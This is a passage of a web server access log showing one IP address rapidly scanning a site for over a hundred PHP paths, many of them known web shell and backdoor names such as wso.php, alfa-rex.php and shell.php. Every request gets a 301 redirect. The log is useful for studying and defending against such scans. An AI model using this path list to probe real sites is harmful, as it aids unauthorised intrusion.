[24/Apr/2025:20:30:30 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:30 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:30 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:31 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:31 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:32 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:32 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:32 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:33 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:33 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:30:34 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:35 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:35 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:35 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:30:36 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:36 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:37 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:38 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:39 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:40 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:40 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:30:41 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:30:42 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:30:43 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:43 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:44 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:44 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:45 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:45 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:46 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:30:46 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:30:47 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:30:47 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:30:47 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:48 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:48 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:30:49 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:49 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:49 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:30:50 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.192.172 - - [24/Apr/2025:20:30:50 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:30:50 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:50 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:51 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:30:51 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:30:51 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:30:52 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:52 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:30:52 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:30:52 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:30:53 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:53 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:30:53 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:54 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:30:54 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:30:54 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:30:54 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:55 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:55 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:30:55 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:30:55 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:30:56 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:56 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:56 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:30:57 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:30:57 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:57 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:30:58 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:58 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:58 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:30:59 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:30:59 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:30:59 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:00 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:31:00 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:31:00 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:31:00 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:31:01 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:01 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:01 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:02 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.192.172 - - [24/Apr/2025:20:31:03 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:03 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:03 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:31:03 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:04 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:04 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:04 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:05 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:05 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:05 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:06 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.192.172 - - [24/Apr/2025:20:31:06 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:31:07 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:07 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:31:07 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.192.172 - - [24/Apr/2025:20:31:08 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:08 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:08 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:31:09 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:31:09 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:09 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:09 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:31:10 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:31:10 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:10 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:10 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:11 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:11 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:12 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:12 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:12 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:31:12 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:13 -0400] "GET 